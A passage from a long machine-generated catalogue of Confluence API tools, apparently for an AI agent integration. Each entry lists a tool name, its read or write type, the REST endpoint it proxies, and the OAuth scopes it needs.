via GET /whiteboards/{id}/operations GET /api/v1/confluence/whiteboards/{id}/operations. Scopes: read:whiteboard:confluence. confluence_get_whiteboards_by_id_properties (read) — Get whiteboard content properties via GET /whiteboards/{id}/properties GET /api/v1/confluence/whiteboards/{id}/properties. Scopes: read:whiteboard:confluence. confluence_get_whiteboards_by_whiteboard_id_properties_by_property_id (read) — Get whiteboard content properties by id via GET /whiteboards/{whiteboard-id}/properties/{property-id} GET /api/v1/confluence/whiteboards/{whiteboard_id}/properties/{property_id}. Scopes: read:whiteboard:confluence. confluence_get_wiki_rest_api_analytics_content_by_contentid_viewers (read) — Get viewers via GET /wiki/rest/api/analytics/content/{contentId}/viewers GET /api/v1/confluence/wiki/rest/api/analytics/content/{contentId}/viewers. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_analytics_content_by_contentid_views (read) — Get views via GET /wiki/rest/api/analytics/content/{contentId}/views GET /api/v1/confluence/wiki/rest/api/analytics/content/{contentId}/views. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_audit (read) — Get audit records via GET /wiki/rest/api/audit GET /api/v1/confluence/wiki/rest/api/audit. Scopes: read:audit-log:confluence. confluence_get_wiki_rest_api_audit_retention (read) — Get retention period via GET /wiki/rest/api/audit/retention GET /api/v1/confluence/wiki/rest/api/audit/retention. Scopes: read:audit-log:confluence. confluence_get_wiki_rest_api_audit_since (read) — Get audit records for time period via GET /wiki/rest/api/audit/since GET /api/v1/confluence/wiki/rest/api/audit/since. Scopes: read:audit-log:confluence. confluence_get_wiki_rest_api_content_by_id_child_attachment_by_attachmentid_download (read) — Download attatchment via GET /wiki/rest/api/content/{id}/child/attachment/{attachmentId}/download GET /api/v1/confluence/wiki/rest/api/content/{id}/child/attachment/{attachmentId}/download. Scopes: readonly:content.attachment:confluence. confluence_get_wiki_rest_api_content_by_id_descendant (read) — Get content descendants via GET /wiki/rest/api/content/{id}/descendant GET /api/v1/confluence/wiki/rest/api/content/{id}/descendant. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_content_by_id_descendant_by_type (read) — Get descendants of type via GET /wiki/rest/api/content/{id}/descendant/{type} GET /api/v1/confluence/wiki/rest/api/content/{id}/descendant/{type}. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_content_by_id_history_by_version_macro_id_by_macroid (read) — Get macro body by macro id via GET /wiki/rest/api/content/{id}/history/{version}/macro/id/{macroId} GET /api/v1/confluence/wiki/rest/api/content/{id}/history/{version}/macro/id/{macroId}. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_content_by_id_history_by_version_macro_id_by_macroid_convert_async_by_to (read) — Get and async convert macro body by macro id via GET /wiki/rest/api/content/{id}/history/{version}/macro/id/{macroId}/convert/async/{to} GET /api/v1/confluence/wiki/rest/api/content/{id}/history/{version}/macro/id/{macroId}/convert/async/{to}. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_content_by_id_history_by_version_macro_id_by_macroid_convert_by_to (read) — Get and convert macro body by macro id via GET /wiki/rest/api/content/{id}/history/{version}/macro/id/{macroId}/convert/{to} GET /api/v1/confluence/wiki/rest/api/content/{id}/history/{version}/macro/id/{macroId}/convert/{to}. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_content_by_id_notification_child_created (read) — Get watches for page via GET /wiki/rest/api/content/{id}/notification/child-created GET /api/v1/confluence/wiki/rest/api/content/{id}/notification/child-created. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_content_by_id_notification_created (read) — Get watches for space via GET /wiki/rest/api/content/{id}/notification/created GET /api/v1/confluence/wiki/rest/api/content/{id}/notification/created. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_content_by_id_restriction (read) — Get restrictions via GET /wiki/rest/api/content/{id}/restriction GET /api/v1/confluence/wiki/rest/api/content/{id}/restriction. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_content_by_id_restriction_byoperation (read) — Get restrictions by operation via GET /wiki/rest/api/content/{id}/restriction/byOperation GET /api/v1/confluence/wiki/rest/api/content/{id}/restriction/byOperation. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_content_by_id_restriction_byoperation_by_operationkey (read) — Get restrictions for operation via GET /wiki/rest/api/content/{id}/restriction/byOperation/{operationKey} GET /api/v1/confluence/wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_content_by_id_restriction_byoperation_by_operationkey_bygroupid_by_groupid (read) — Get individual group restriction status by group id via GET /wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/byGroupId/{groupId} GET /api/v1/confluence/wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/byGroupId/{groupId}. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_content_by_id_restriction_byoperation_by_operationkey_user (read) — Get content restriction status for user via GET /wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/user GET /api/v1/confluence/wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/user. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_content_by_id_state (read) — Get content state via GET /wiki/rest/api/content/{id}/state GET /api/v1/confluence/wiki/rest/api/content/{id}/state. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_content_by_id_state_available (read) — Get available content states via GET /wiki/rest/api/content/{id}/state/available GET /api/v1/confluence/wiki/rest/api/content/{id}/state/available. Scopes: write:confluence-content. confluence_get_wiki_rest_api_content_search (read) — Search content by cql via GET /wiki/rest/api/content/search GET /api/v1/confluence/wiki/rest/api/content/search. Scopes: search:confluence. confluence_get_wiki_rest_api_content_states (read) — Get custom content states via GET /wiki/rest/api/content-states GET /api/v1/confluence/wiki/rest/api/content-states. Scopes: read:user.property:confluence. confluence_get_wiki_rest_api_contentbody_convert_async_bulk_tasks (read) — Bulk async convert content body response via GET /wiki/rest/api/contentbody/convert/async/bulk/tasks GET /api/v1/confluence/wiki/rest/api/contentbody/convert/async/bulk/tasks. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_contentbody_convert_async_by_id (read) — Async convert content body response via GET /wiki/rest/api/contentbody/convert/async/{id} GET /api/v1/confluence/wiki/rest/api/contentbody/convert/async/{id}. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_group (read) — Get groups via GET /wiki/rest/api/group GET /api/v1/confluence/wiki/rest/api/group. Scopes: read:confluence-groups. confluence_get_wiki_rest_api_group_by_groupid_membersbygroupid (read) — Get group members by group id via GET /wiki/rest/api/group/{groupId}/membersByGroupId GET /api/v1/confluence/wiki/rest/api/group/{groupId}/membersByGroupId. Scopes: read:confluence-groups. confluence_get_wiki_rest_api_group_by_id (read) — Get group by group id via GET /wiki/rest/api/group/by-id GET /api/v1/confluence/wiki/rest/api/group/by-id. Scopes: read:confluence-groups. confluence_get_wiki_rest_api_group_picker (read) — Search groups via GET /wiki/rest/api/group/picker GET /api/v1/confluence/wiki/rest/api/group/picker. Scopes: read:confluence-groups. confluence_get_wiki_rest_api_label (read) — Get all label content via GET /wiki/rest/api/label GET /api/v1/confluence/wiki/rest/api/label. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_longtask (read) — Get tasks via GET /wiki/rest/api/longtask GET /api/v1/confluence/wiki/rest/api/longtask. Scopes: read:content.metadata:confluence. confluence_get_wiki_rest_api_longtask_by_id (read) — Get task via GET /wiki/rest/api/longtask/{id} GET /api/v1/confluence/wiki/rest/api/longtask/{id}. Scopes: read:confluence-space.summary. confluence_get_wiki_rest_api_relation_by_relationname_from_by_sourcetype_by_sourcekey_to_by_targettype (read) — Find target from source via GET /wiki/rest/api/relation/{relationName}/from/{sourceType}/{sourceKey}/to/{targetType} GET /api/v1/confluence/wiki/rest/api/relation/{relationName}/from/{sourceType}/{sourceKey}/to/{targetType}. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_relation_by_relationname_from_by_sourcetype_by_sourcekey_to_by_targettype_by_targetkey (read) — Get relationship via GET /wiki/rest/api/relation/{relationName}/from/{sourceType}/{sourceKey}/to/{targetType}/{targetKey} GET /api/v1/confluence/wiki/rest/api/relation/{relationName}/from/{sourceType}/{sourceKey}/to/{targetType}/{targetKey}. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_relation_by_relationname_to_by_targettype_by_targetkey_from_by_sourcetype (read) — Find sources for target via GET /wiki/rest/api/relation/{relationName}/to/{targetType}/{targetKey}/from/{sourceType} GET /api/v1/confluence/wiki/rest/api/relation/{relationName}/to/{targetType}/{targetKey}/from/{sourceType}. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_search (read) — Search by cql via GET /wiki/rest/api/search GET /api/v1/confluence/wiki/rest/api/search. Scopes: search:confluence. confluence_get_wiki_rest_api_search_user (read) — Search user via GET /wiki/rest/api/search/user GET /api/v1/confluence/wiki/rest/api/search/user. Scopes: read:content-details:confluence. confluence_get_wiki_rest_api_settings_lookandfeel (read) — Get look and feel settings via GET /wiki/rest/api/settings/lookandfeel GET /api/v1/confluence/wiki/rest/api/settings/lookandfeel. Scopes: manage:confluence-configuration. confluence_get_wiki_rest_api_settings_systeminfo (read) — Get system info via GET /wiki/rest/api/settings/systemInfo GET /api/v1/confluence/wiki/rest/api/settings/systemInfo. Scopes: manage:confluence-configuration. confluence_get_wiki_rest_api_settings_theme (read) — Get themes via GET /wiki/rest/api/settings/theme GET /api/v1/confluence/wiki/rest/api/settings/theme. Scopes: manage:confluence-configuration. confluence_get_wiki_rest_api_settings_theme_by_themekey (read) — Get theme via GET /wiki/rest/api/settings/theme/{themeKey} GET /api/v1/confluence/wiki/rest/api/settings/theme/{themeKey}. Scopes: manage:confluence-configuration. confluence_get_wiki_rest_api_settings_theme_selected (read) — Get global theme via GET /wiki/rest/api/settings/theme/selected GET /api/v1/confluence/wiki/rest/api/settings/theme/selected. Scopes: manage:confluence-configuration. confluence_get_wiki_rest_api_space_by_spacekey_label (read) — Get labels for space via GET /wiki/rest/api/space/{spaceKey}/label GET /api/v1/confluence/wiki/rest/api/space/{spaceKey}/label. Scopes: read:confluence-space.summary. confluence_get_wiki_rest_api_space_by_spacekey_settings (read) — Get space settings via GET /wiki/rest/api/space/{spaceKey}/settings GET /api/v1/confluence/wiki/rest/api/space/{spaceKey}/settings. Scopes: read:confluence-space.summary. confluence_get_wiki_rest_api_space_by_spacekey_state (read) — Get space content states via GET /wiki/rest/api/space/{spaceKey}/state GET /api/v1/confluence/wiki/rest/api/space/{spaceKey}/state. Scopes: read:confluence-space.summary. confluence_get_wiki_rest_api_space_by_spacekey_state_content (read) — Get contents with state via GET /wiki/rest/api/space/{spaceKey}/state/content GET /api/v1/confluence/wiki/rest/api/space/{spaceKey}/state/content. Scopes: read:confluence-content.all. confluence_get_wiki_rest_api_space_by_spacekey_state_settings (read) — Get content state settings via GET /wiki/rest/api/space/{spaceKey}/state/settings GET /api/v1/confluence/wiki/rest/api/space/{spaceKey}/state/settings. Scopes: read:confluence-space.summary. confluence_get_wiki_rest_api_space_by_spacekey_theme (read) — Get space theme via GET /wiki/rest/api/space/{spaceKey}/theme GET /api/v1/confluence/wiki/rest/api/space/{spaceKey}/theme. Scopes: read:confluence-space.summary. confluence_get_wiki_rest_api_space_by_spacekey_watch (read) — Get watchers for space via GET /wiki/rest/api/space/{spaceKey}/watch GET /api/v1/confluence/wiki/rest/api/space/{spaceKey}/watch. Scopes: read:user:confluence, read:watcher:confluence. confluence_get_wiki_rest_api_template_blueprint (read) — Get blueprint templates via GET /wiki/rest/api/template/blueprint GET /api/v1/confluence/wiki/rest/api/template/blueprint. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_template_by_contenttemplateid (read) — Get content template via GET /wiki/rest/api/template/{contentTemplateId} GET /api/v1/confluence/wiki/rest/api/template/{contentTemplateId}. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_template_page (read) — Get content templates via GET /wiki/rest/api/template/page GET /api/v1/confluence/wiki/rest/api/template/page. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_user (read) — Get user via GET /wiki/rest/api/user GET /api/v1/confluence/wiki/rest/api/user. Scopes: read:confluence-user. confluence_get_wiki_rest_api_user_anonymous (read) — Get anonymous user via GET /wiki/rest/api/user/anonymous GET /api/v1/confluence/wiki/rest/api/user/anonymous. Scopes: read:confluence-user. confluence_get_wiki_rest_api_user_bulk (read) — Get bulk user lookup via GET /wiki/rest/api/user/bulk GET /api/v1/confluence/wiki/rest/api/user/bulk. Scopes: read:confluence-user. confluence_get_wiki_rest_api_user_by_userid_property (read) — Get user properties via GET /wiki/rest/api/user/{userId}/property GET /api/v1/confluence/wiki/rest/api/user/{userId}/property. Scopes: read:user.property:confluence. confluence_get_wiki_rest_api_user_by_userid_property_by_key (read) — Get user property via GET /wiki/rest/api/user/{userId}/property/{key} GET /api/v1/confluence/wiki/rest/api/user/{userId}/property/{key}. Scopes: read:user.property:confluence. confluence_get_wiki_rest_api_user_current (read) — Get current user via GET /wiki/rest/api/user/current GET /api/v1/confluence/wiki/rest/api/user/current. Scopes: read:confluence-user. confluence_get_wiki_rest_api_user_email (read) — Get privacy unsafe user email via GET /wiki/rest/api/user/email GET /api/v1/confluence/wiki/rest/api/user/email. Scopes: none. confluence_get_wiki_rest_api_user_email_bulk (read) — Get privacy unsafe user email bulk via GET /wiki/rest/api/user/email/bulk GET /api/v1/confluence/wiki/rest/api/user/email/bulk. Scopes: none. confluence_get_wiki_rest_api_user_memberof (read) — Get group memberships for user via GET /wiki/rest/api/user/memberof GET /api/v1/confluence/wiki/rest/api/user/memberof. Scopes: read:confluence-user. confluence_get_wiki_rest_api_user_watch_content_by_contentid (read) — Get content watch status via GET /wiki/rest/api/user/watch/content/{contentId} GET /api/v1/confluence/wiki/rest/api/user/watch/content/{contentId}. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_user_watch_label_by_labelname (read) — Is watching label via GET /wiki/rest/api/user/watch/label/{labelName} GET /api/v1/confluence/wiki/rest/api/user/watch/label/{labelName}. Scopes: read:confluence-content.summary. confluence_get_wiki_rest_api_user_watch_space_by_spacekey (read) — Is watching space via GET /wiki/rest/api/user/watch/space/{spaceKey} GET /api/v1/confluence/wiki/rest/api/user/watch/space/{spaceKey}. Scopes: read:confluence-content.summary. confluence_post_admin_key (write) — Enable admin key via POST /admin-key POST /api/v1/confluence/admin-key. Scopes: none. confluence_post_attachments_by_attachment_id_properties (write) — Create attachment property via POST /attachments/{attachment-id}/properties POST /api/v1/confluence/attachments/{attachment_id}/properties. Scopes: read:attachment:confluence, write:attachment:confluence. confluence_post_blogposts (write) — Create blog post via POST /blogposts POST /api/v1/confluence/blogposts. Scopes: write:page:confluence. confluence_post_blogposts_by_blogpost_id_properties (write) — Create blogpost property via POST /blogposts/{blogpost-id}/properties POST /api/v1/confluence/blogposts/{blogpost_id}/properties. Scopes: read:page:confluence, write:page:confluence. confluence_post_blogposts_by_id_classification_level_reset (write) — Post blog post classification level via POST /blogposts/{id}/classification-level/reset POST /api/v1/confluence/blogposts/{id}/classification-level/reset. Scopes: write:page:confluence. confluence_post_blogposts_by_id_redact (write) — Post redact blog via POST /blogposts/{id}/redact POST /api/v1/confluence/blogposts/{id}/redact. Scopes: write:page:confluence. confluence_post_comments_by_comment_id_properties (write) — Create comment property via POST /comments/{comment-id}/properties POST /api/v1/confluence/comments/{comment_id}/properties. Scopes: read:comment:confluence, write:comment:confluence. confluence_post_content_convert_ids_to_types (write) — Convert content ids to content types via POST /content/convert-ids-to-types POST /api/v1/confluence/content/convert-ids-to-types. Scopes: read:content.metadata:confluence. confluence_post_custom_content (write) — Create custom content via POST /custom-content POST /api/v1/confluence/custom-content. Scopes: write:custom-content:confluence. confluence_post_custom_content_by_custom_content_id_properties (write) — Create custom content property via POST /custom-content/{custom-content-id}/properties POST /api/v1/confluence/custom-content/{custom_content_id}/properties. Scopes: read:custom-content:confluence, write:custom-content:confluence. confluence_post_databases (write) — Create database via POST /databases POST /api/v1/confluence/databases. Scopes: write:database:confluence. confluence_post_databases_by_id_classification_level_reset (write) — Post database classification level via POST /databases/{id}/classification-level/reset POST /api/v1/confluence/databases/{id}/classification-level/reset. Scopes: write:database:confluence. confluence_post_databases_by_id_properties (write) — Create database property via POST /databases/{id}/properties POST /api/v1/confluence/databases/{id}/properties. Scopes: read:database:confluence, write:database:confluence. confluence_post_embeds (write) — Create smart link via POST /embeds POST /api/v1/confluence/embeds. Scopes: write:embed:confluence. confluence_post_embeds_by_id_properties (write) — Create smart link property via POST /embeds/{id}/properties POST /api/v1/confluence/embeds/{id}/properties. Scopes: read:embed:confluence, write:embed:confluence. confluence_post_folders (write) — Create folder via POST /folders POST /api/v1/confluence/folders. Scopes: write:folder:confluence. confluence_post_folders_by_id_properties (write) — Create folder property via POST /folders/{id}/properties POST /api/v1/confluence/folders/{id}/properties. Scopes: read:folder:confluence, write:folder:confluence. confluence_post_footer_comments (write) — Create footer comment via POST /footer-comments POST /api/v1/confluence/footer-comments. Scopes: write:comment:confluence. confluence_post_inline_comments (write) — Create inline comment via POST /inline-comments POST /api/v1/confluence/inline-comments. Scopes: write:comment:confluence. confluence_post_pages (write) — Create page via POST /pages POST /api/v1/confluence/pages. Scopes: write:page:confluence. confluence_post_pages_by_id_classification_level_reset (write) — Post page classification level via POST /pages/{id}/classification-level/reset POST /api/v1/confluence/pages/{id}/classification-level/reset. Scopes: write:page:confluence. confluence_post_pages_by_id_redact (write) — Post redact page via POST /pages/{id}/redact POST /api/v1/confluence/pages/{id}/redact. Scopes: write:page:confluence. confluence_post_pages_by_page_id_properties (write) — Create page property via POST /pages/{page-id}/properties POST /api/v1/confluence/pages/{page_id}/properties. Scopes: read:page:confluence, write:page:confluence. confluence_post_space_permissions_transition_access_removals (write) — Bulk remove space permission access via POST /space-permissions/transition/access-removals POST /api/v1/confluence/space-permissions/transition/access-removals. Scopes: write:configuration:confluence. confluence_post_space_permissions_transition_combinations (write) — Generate space permission combinations via POST /space-permissions/transition/combinations POST /api/v1/confluence/space-permissions/transition/combinations. Scopes: write:configuration:confluence. confluence_post_space_permissions_transition_role_assignments (write) — Bulk assign space permission roles via POST /space-permissions/transition/role-assignments POST /api/v1/confluence/space-permissions/transition/role-assignments. Scopes: write:configuration:confluence. confluence_post_space_roles (write) — Create space role via POST /space-roles POST /api/v1/confluence/space-roles. Scopes: write:configuration:confluence. confluence_post_spaces (write) — Create space via POST /spaces POST /api/v1/confluence/spaces. Scopes: write:space:confluence. confluence_post_spaces_by_id_role_assignments (write) — Set space role assignments via POST /spaces/{id}/role-assignments POST /api/v1/confluence/spaces/{id}/role-assignments. Scopes: write:space.permission:confluence. confluence_post_spaces_by_space_id_properties (write) — Create space property via POST /spaces/{space-id}/properties POST /api/v1/confluence/spaces/{space_id}/properties. Scopes: read:space:confluence, write:space:confluence. confluence_post_user_access_check_access_by_email (write) — Check access by email via POST /user/access/check-access-by-email POST /api/v1/confluence/user/access/check-access-by-email. Scopes: read:configuration:confluence. confluence_post_user_access_invite_by_email (write) — Invite by email via POST /user/access/invite-by-email POST /api/v1/confluence/user/access/invite-by-email. Scopes: read:configuration:confluence. confluence_post_users_bulk (write) — Create bulk user lookup via POST /users-bulk POST /api/v1/confluence/users-bulk. Scopes: read:user:confluence. confluence_post_whiteboards (write) — Create whiteboard via POST /whiteboards POST /api/v1/confluence/whiteboards. Scopes: write:whiteboard:confluence. confluence_post_whiteboards_by_id_classification_level_reset (write) — Post whiteboard classification level via POST /whiteboards/{id}/classification-level/reset POST /api/v1/confluence/whiteboards/{id}/classification-level/reset. Scopes: write:whiteboard:confluence. confluence_post_whiteboards_by_id_properties (write) — Create whiteboard property via POST /whiteboards/{id}/properties POST /api/v1/confluence/whiteboards/{id}/properties. Scopes: read:whiteboard:confluence, write:whiteboard:confluence. confluence_post_wiki_rest_api_audit (write) — Create audit record via POST /wiki/rest/api/audit POST /api/v1/confluence/wiki/rest/api/audit. Scopes: read:audit-log:confluence, write:audit-log:confluence. confluence_post_wiki_rest_api_content_archive (write) — Archive pages via POST /wiki/rest/api/content/archive POST /api/v1/confluence/wiki/rest/api/content/archive. Scopes: write:confluence-content. confluence_post_wiki_rest_api_content_blueprint_instance_by_draftid (write) — Publish legacy draft via POST /wiki/rest/api/content/blueprint/instance/{draftId} POST /api/v1/confluence/wiki/rest/api/content/blueprint/instance/{draftId}. Scopes: write:confluence-content. confluence_post_wiki_rest_api_content_by_id_copy (write) — Copy page via POST /wiki/rest/api/content/{id}/copy POST /api/v1/confluence/wiki/rest/api/content/{id}/copy. Scopes: write:confluence-content. confluence_post_wiki_rest_api_content_by_id_label (write) — Add labels to content via POST /wiki/rest/api/content/{id}/label POST /api/v1/confluence/wiki/rest/api/content/{id}/label. Scopes: write:confluence-content. confluence_post_wiki_rest_api_content_by_id_pagehierarchy_copy (write) — Copy page hierarchy via POST /wiki/rest/api/content/{id}/pagehierarchy/copy POST /api/v1/confluence/wiki/rest/api/content/{id}/pagehierarchy/copy. Scopes: write:confluence-content. confluence_post_wiki_rest_api_content_by_id_permission_check (write) — Check content permission via POST /wiki/rest/api/content/{id}/permission/check POST /api/v1/confluence/wiki/rest/api/content/{id}/permission/check. Scopes: read:confluence-content.permission. confluence_post_wiki_rest_api_content_by_id_restriction (write) — Add restrictions via POST /wiki/rest/api/content/{id}/restriction POST /api/v1/confluence/wiki/rest/api/content/{id}/restriction. Scopes: write:confluence-content. confluence_post_wiki_rest_api_content_by_id_version (write) — Restore content version via POST /wiki/rest/api/content/{id}/version POST /api/v1/confluence/wiki/rest/api/content/{id}/version. Scopes: write:confluence-content. confluence_post_wiki_rest_api_contentbody_convert_async_bulk_tasks (write) — Bulk async convert content body request via POST /wiki/rest/api/contentbody/convert/async/bulk/tasks POST /api/v1/confluence/wiki/rest/api/contentbody/convert/async/bulk/tasks. Scopes: read:confluence-content.all. confluence_post_wiki_rest_api_contentbody_convert_async_by_to (write) — Async convert content body request via POST /wiki/rest/api/contentbody/convert/async/{to} POST /api/v1/confluence/wiki/rest/api/contentbody/convert/async/{to}. Scopes: read:confluence-content.all. confluence_post_wiki_rest_api_group (write) — Create group via POST /wiki/rest/api/group POST /api/v1/confluence/wiki/rest/api/group. Scopes: write:confluence-groups. confluence_post_wiki_rest_api_group_userbygroupid (write) — Add user to group by group id via POST /wiki/rest/api/group/userByGroupId POST /api/v1/confluence/wiki/rest/api/group/userByGroupId. Scopes: write:confluence-groups. confluence_post_wiki_rest_api_settings_lookandfeel_custom (write) — Update look and feel settings via POST /wiki/rest/api/settings/lookandfeel/custom POST /api/v1/confluence/wiki/rest/api/settings/lookandfeel/custom. Scopes: manage:confluence-configuration. confluence_post_wiki_rest_api_space (write) — Create space via POST /wiki/rest/api/space POST /api/v1/confluence/wiki/rest/api/space. Scopes: write:confluence-space. confluence_post_wiki_rest_api_space_by_spacekey_label (write) — Add labels to space via POST /wiki/rest/api/space/{spaceKey}/label POST /api/v1/confluence/wiki/rest/api/space/{spaceKey}/label. Scopes: write:confluence-space. confluence_post_wiki_rest_api_space_by_spacekey_permission (write) — Add permission to space via POST /wiki/rest/api/space/{spaceKey}/permission POST /api/v1/confluence/wiki/rest/api/space/{spaceKey}/permission. Scopes: read:space.permission:confluence, write:space.permission:confluence. confluence_post_wiki_rest_api_space_by_spacekey_permission_custom_content (write) — Add custom content permissions via POST /wiki/rest/api/space/{spaceKey}/permission/custom-content POST /api/v1/confluence/wiki/rest/api/space/{spaceKey}/permission/custom-content. Scopes: read:space.permission:confluence, write:space.permission:confluence. confluence_post_wiki_rest_api_space_private (write) — Create private space via POST /wiki/rest/api/space/_private POST /api/v1/confluence/wiki/rest/api/space/_private. Scopes: write:confluence-space. confluence_post_wiki_rest_api_template (write) — Create content template via POST /wiki/rest/api/template POST /api/v1/confluence/wiki/rest/api/template. Scopes: write:confluence-content. confluence_post_wiki_rest_api_user_by_userid_property_by_key (write) — Create user property via POST /wiki/rest/api/user/{userId}/property/{key} POST /api/v1/confluence/wiki/rest/api/user/{userId}/property/{key}. Scopes: write:user.property:confluence. confluence_post_wiki_rest_api_user_watch_content_by_contentid (write) — Add content watcher via POST /wiki/rest/api/user/watch/content/{contentId} POST /api/v1/confluence/wiki/rest/api/user/watch/content/{contentId}. Scopes: write:confluence-content. confluence_post_wiki_rest_api_user_watch_label_by_labelname (write) — Add label watcher via POST /wiki/rest/api/user/watch/label/{labelName} POST /api/v1/confluence/wiki/rest/api/user/watch/label/{labelName}. Scopes: write:confluence-content. confluence_post_wiki_rest_api_user_watch_space_by_spacekey (write) — Add space watcher via POST /wiki/rest/api/user/watch/space/{spaceKey} POST /api/v1/confluence/wiki/rest/api/user/watch/space/{spaceKey}. Scopes: write:confluence-content. confluence_put_app_properties_by_propertykey (write) — Put forge app property via PUT /app/properties/{propertyKey} PUT /api/v1/confluence/app/properties/{propertyKey}. Scopes: write:app-data:confluence. confluence_put_attachments_by_attachment_id_properties_by_property_id (write) — Update attachment property by id via PUT /attachments/{attachment-id}/properties/{property-id} PUT /api/v1/confluence/attachments/{attachment_id}/properties/{property_id}. Scopes: read:attachment:confluence, write:attachment:confluence. confluence_put_blogposts_by_blogpost_id_properties_by_property_id (write) — Update blogpost property by id via PUT /blogposts/{blogpost-id}/properties/{property-id} PUT /api/v1/confluence/blogposts/{blogpost_id}/properties/{property_id}. Scopes: read:page:confluence, write:page:confluence. confluence_put_blogposts_by_id (write) — Update blog post via PUT /blogposts/{id} PUT /api/v1/confluence/blogposts/{id}. Scopes: write:page:confluence. confluence_put_blogposts_by_id_classification_level (write) — Put blog post classification level via PUT /blogposts/{id}/classification-level PUT /api/v1/confluence/blogposts/{id}/classification-level. Scopes: write:page:confluence. confluence_put_comments_by_comment_id_properties_by_property_id (write) — Update comment property by id via PUT /comments/{comment-id}/properties/{property-id} PUT /api/v1/confluence/comments/{comment_id}/properties/{property_id}. Scopes: read:comment:confluence, write:comment:confluence. confluence_put_custom_content_by_custom_content_id_properties_by_property_id (write) — Update custom content property by id via PUT /custom-content/{custom-content-id}/properties/{property-id} PUT /api/v1/confluence/custom-content/{custom_content_id}/properties/{property_id}. Scopes: read:custom-content:confluence, write:custom-content:confluence. confluence_put_custom_content_by_id (write) — Update custom content via PUT /custom-content/{id} PUT /api/v1/confluence/custom-content/{id}. Scopes: write:custom-content:confluence. confluence_put_databases_by_database_id_properties_by_property_id (write) — Update database property by id via PUT /databases/{database-id}/properties/{property-id} PUT /api/v1/confluence/databases/{database_id}/properties/{property_id}. Scopes: read:database:confluence, write:database:confluence. confluence_put_databases_by_id_classification_level (write) — Put database classification level via PUT /databases/{id}/classification-level PUT /api/v1/confluence/databases/{id}/classification-level. Scopes: write:database:confluence. confluence_put_embeds_by_embed_id_properties_by_property_id (write) — Update smart link property by id via PUT /embeds/{embed-id}/properties/{property-id} PUT /api/v1/confluence/embeds/{embed_id}/properties/{property_id}. Scopes: read:embed:confluence, write:embed:confluence. confluence_put_folders_by_folder_id_properties_by_property_id (write) — Update folder property by id via PUT /folders/{folder-id}/properties/{property-id} PUT /api/v1/confluence/folders/{folder_id}/properties/{property_id}. Scopes: read:folder:confluence, write:folder:confluence. confluence_put_footer_comments_by_comment_id (write) — Update footer comment via PUT /footer-comments/{comment-id} PUT /api/v1/confluence/footer-comments/{comment_id}. Scopes: write:comment:confluence. confluence_put_inline_comments_by_comment_id (write) — Update inline comment via PUT /inline-comments/{comment-id} PUT /api/v1/confluence/inline-comments/{comment_id}. Scopes: write:comment:confluence. confluence_put_pages_by_id (write) — Update page via PUT /pages/{id} PUT /api/v1/confluence/pages/{id}. Scopes: write:page:confluence. confluence_put_pages_by_id_classification_level (write) — Put page classification level via PUT /pages/{id}/classification-level PUT /api/v1/confluence/pages/{id}/classification-level. Scopes: write:page:confluence. confluence_put_pages_by_id_title (write) — Update page title via PUT /pages/{id}/title PUT /api/v1/confluence/pages/{id}/title. Scopes: write:page:confluence. confluence_put_pages_by_page_id_properties_by_property_id (write) — Update page property by id via PUT /pages/{page-id}/properties/{property-id} PUT /api/v1/confluence/pages/{page_id}/properties/{property_id}. Scopes: read:page:confluence, write:page:confluence. confluence_put_space_roles_by_id (write) — Update space role via PUT /space-roles/{id} PUT /api/v1/confluence/space-roles/{id}. Scopes: write:configuration:confluence. confluence_put_spaces_by_id_classification_level_default (write) — Put space default classification level via PUT /spaces/{id}/classification-level/default PUT /api/v1/confluence/spaces/{id}/classification-level/default. Scopes: read:space:confluence, write:space:confluence. confluence_put_spaces_by_space_id_properties_by_property_id (write) — Update space property by id via PUT /spaces/{space-id}/properties/{property-id} PUT /api/v1/confluence/spaces/{space_id}/properties/{property_id}. Scopes: read:space:confluence, write:space:confluence. confluence_put_tasks_by_id (write) — Update task via PUT /tasks/{id} PUT /api/v1/confluence/tasks/{id}. Scopes: write:task:confluence. confluence_put_whiteboards_by_id_classification_level (write) — Put whiteboard classification level via PUT /whiteboards/{id}/classification-level PUT /api/v1/confluence/whiteboards/{id}/classification-level. Scopes: write:whiteboard:confluence. confluence_put_whiteboards_by_whiteboard_id_properties_by_property_id (write) — Update whiteboard property by id via PUT /whiteboards/{whiteboard-id}/properties/{property-id} PUT /api/v1/confluence/whiteboards/{whiteboard_id}/properties/{property_id}. Scopes: read:whiteboard:confluence, write:whiteboard:confluence. confluence_put_wiki_rest_api_audit_retention (write) — Set retention period via PUT /wiki/rest/api/audit/retention PUT /api/v1/confluence/wiki/rest/api/audit/retention. Scopes: write:audit-log:confluence. confluence_put_wiki_rest_api_content_blueprint_instance_by_draftid (write) — Publish shared draft via PUT /wiki/rest/api/content/blueprint/instance/{draftId} PUT /api/v1/confluence/wiki/rest/api/content/blueprint/instance/{draftId}. Scopes: write:confluence-content. confluence_put_wiki_rest_api_content_by_id_child_attachment_by_attachmentid (write) — Update attachment 